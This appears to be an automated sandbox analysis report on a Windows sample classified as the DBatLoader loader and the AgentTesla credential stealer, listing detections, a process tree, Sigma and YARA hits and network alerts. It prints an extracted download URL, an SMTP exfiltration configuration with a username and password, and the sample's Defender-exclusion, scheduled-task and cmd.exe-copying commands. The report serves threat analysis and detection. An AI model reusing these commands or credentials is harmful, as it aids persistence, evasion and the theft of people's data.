Edit tour

Windows Analysis Report
x.exe

Overview

General Information

Sample name:	x.exe
Analysis ID:	1554496
MD5:	31bc6907d6097a76bb1dd891cfc09b7a
SHA1:	97340ca203a1207e492135d580c6860a724a227f
SHA256:	f711703c8ba66dcedb8e4b83f21a0425c528e278242c852fd5cf54bb43e30454
Tags:	exeuser-JAMESWT_MHT
Infos:

Detection

AgentTesla, DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Yara detected AgentTesla

Yara detected DBatLoader

.NET source code contains very large strings

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Drops executable to a common third party application directory

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Infects executable files (exe, dll, sys, html)

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

x.exe (PID: 6332 cmdline: "C:\Users\user\Desktop\x.exe" MD5: 31BC6907D6097A76BB1DD891CFC09B7A)

cmd.exe (PID: 3380 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\lxsyrsiW.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

esentutl.exe (PID: 5032 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)

esentutl.exe (PID: 4864 cmdline: C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\x.exe /d C:\\Users\\Public\\Libraries\\Wisrysxl.PIF /o MD5: 5F5105050FBE68E930486635C5557F84)

conhost.exe (PID: 4208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

lxsyrsiW.pif (PID: 2104 cmdline: C:\Users\Public\Libraries\lxsyrsiW.pif MD5: C116D3604CEAFE7057D77FF27552C215)

neworigin.exe (PID: 3796 cmdline: "C:\Users\user\AppData\Local\Temp\neworigin.exe" MD5: D6A4CF0966D24C1EA836BA9A899751E5)

server_BTC.exe (PID: 2532 cmdline: "C:\Users\user\AppData\Local\Temp\server_BTC.exe" MD5: 50D015016F20DA0905FD5B37D7834823)

powershell.exe (PID: 3132 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 2828 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 5168 cmdline: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

TrojanAIbot.exe (PID: 5388 cmdline: "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" MD5: 50D015016F20DA0905FD5B37D7834823)

cmd.exe (PID: 1268 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpFB9.tmp.cmd"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 3660 cmdline: timeout 6 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

TrojanAIbot.exe (PID: 6628 cmdline: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe MD5: 50D015016F20DA0905FD5B37D7834823)

Wisrysxl.PIF (PID: 5032 cmdline: "C:\Users\Public\Libraries\Wisrysxl.PIF" MD5: 31BC6907D6097A76BB1DD891CFC09B7A)

lxsyrsiW.pif (PID: 4208 cmdline: C:\Users\Public\Libraries\lxsyrsiW.pif MD5: C116D3604CEAFE7057D77FF27552C215)

neworigin.exe (PID: 2968 cmdline: "C:\Users\user\AppData\Local\Temp\neworigin.exe" MD5: D6A4CF0966D24C1EA836BA9A899751E5)

server_BTC.exe (PID: 1268 cmdline: "C:\Users\user\AppData\Local\Temp\server_BTC.exe" MD5: 50D015016F20DA0905FD5B37D7834823)

Wisrysxl.PIF (PID: 4948 cmdline: "C:\Users\Public\Libraries\Wisrysxl.PIF" MD5: 31BC6907D6097A76BB1DD891CFC09B7A)

lxsyrsiW.pif (PID: 3088 cmdline: C:\Users\Public\Libraries\lxsyrsiW.pif MD5: C116D3604CEAFE7057D77FF27552C215)

neworigin.exe (PID: 5328 cmdline: "C:\Users\user\AppData\Local\Temp\neworigin.exe" MD5: D6A4CF0966D24C1EA836BA9A899751E5)

server_BTC.exe (PID: 6408 cmdline: "C:\Users\user\AppData\Local\Temp\server_BTC.exe" MD5: 50D015016F20DA0905FD5B37D7834823)

TrojanAIbot.exe (PID: 3820 cmdline: "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" MD5: 50D015016F20DA0905FD5B37D7834823)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://gxe0.com/yak/233_Wisrysxlfss"]}

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "s82.gocheapweb.com", "Username": "info2@j-fores.com", "Password": "london@1759"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\neworigin.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\neworigin.exe	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
C:\Users\user\AppData\Local\Temp\neworigin.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3587b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x358ed:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35977:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35a09:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35a73:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35ae5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x35b7b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x35c0b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2395131406.0000000002BEC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001D.00000002.4593833570.000000000329C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.2459185652.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.2459185652.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.2459185652.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2395131406.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2395131406.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001D.00000002.4593833570.0000000003271000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.4593833570.0000000003271000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: neworigin.exe PID: 3796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: neworigin.exe PID: 3796	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: neworigin.exe PID: 2968	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: neworigin.exe PID: 2968	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: neworigin.exe PID: 5328	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.0.neworigin.exe.840000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.0.neworigin.exe.840000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.0.neworigin.exe.840000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3587b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x358ed:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35977:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35a09:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35a73:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35ae5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x35b7b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x35c0b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.x.exe.2ec0000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\x.exe, ProcessId: 6332, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\lxsyrsiW.pif, CommandLine: C:\Users\Public\Libraries\lxsyrsiW.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\lxsyrsiW.pif, NewProcessName: C:\Users\Public\Libraries\lxsyrsiW.pif, OriginalFileName: C:\Users\Public\Libraries\lxsyrsiW.pif, ParentCommandLine: "C:\Users\user\Desktop\x.exe", ParentImage: C:\Users\user\Desktop\x.exe, ParentProcessId: 6332, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\lxsyrsiW.pif, ProcessId: 2104, ProcessName: lxsyrsiW.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Wisrysxl.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\x.exe, ProcessId: 6332, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wisrysxl

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\server_BTC.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\server_BTC.exe, ParentProcessId: 2532, ParentProcessName: server_BTC.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , ProcessId: 3132, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Wisrysxl.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\x.exe, ProcessId: 6332, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wisrysxl

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\lxsyrsiW.pif, CommandLine: C:\Users\Public\Libraries\lxsyrsiW.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\lxsyrsiW.pif, NewProcessName: C:\Users\Public\Libraries\lxsyrsiW.pif, OriginalFileName: C:\Users\Public\Libraries\lxsyrsiW.pif, ParentCommandLine: "C:\Users\user\Desktop\x.exe", ParentImage: C:\Users\user\Desktop\x.exe, ParentProcessId: 6332, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\lxsyrsiW.pif, ProcessId: 2104, ProcessName: lxsyrsiW.pif

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\server_BTC.exe, ProcessId: 2532, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrojanAIbot.exe.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f, CommandLine: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\server_BTC.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\server_BTC.exe, ParentProcessId: 2532, ParentProcessName: server_BTC.exe, ProcessCommandLine: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f, ProcessId: 5168, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 51.195.88.199, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\neworigin.exe, Initiated: true, ProcessId: 3796, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\server_BTC.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\server_BTC.exe, ParentProcessId: 2532, ParentProcessName: server_BTC.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , ProcessId: 3132, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:55:20.344502+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49721	TCP
2024-11-12T15:55:58.715306+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49888	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:55:02.088938+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	198.252.105.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Avira: detection malicious, Label: TR/Spy.Gen8
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Avira: detection malicious, Label: HEUR/AGEN.1311721
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Avira: detection malicious, Label: HEUR/AGEN.1311721
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen

Found malware configuration

Source: x.exe	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://gxe0.com/yak/233_Wisrysxlfss"]}
Source: 9.0.neworigin.exe.840000.0.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "s82.gocheapweb.com", "Username": "info2@j-fores.com", "Password": "london@1759"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Wisrysxl.PIF	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected

Source: x.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 198.252.105.91:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49781 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: lxsyrsiW.pif, 00000008.00000003.2187757870.0000000028410000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2110299253.000000007FCE0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020C47000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000005.00000003.2166700706.00000000058F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbH source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2170510348.0000000021E90000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111145235.0000000002B70000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2110299253.000000007FCE0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2170510348.0000000021EBF000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2200179187.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020C47000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000005.00000003.2166700706.00000000058F0000.00000004.00001000.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Jump to behavior

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EC5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_02EC5908

Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\

Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Code function: 4x nop then jmp 013B7394h	10_2_013B7108
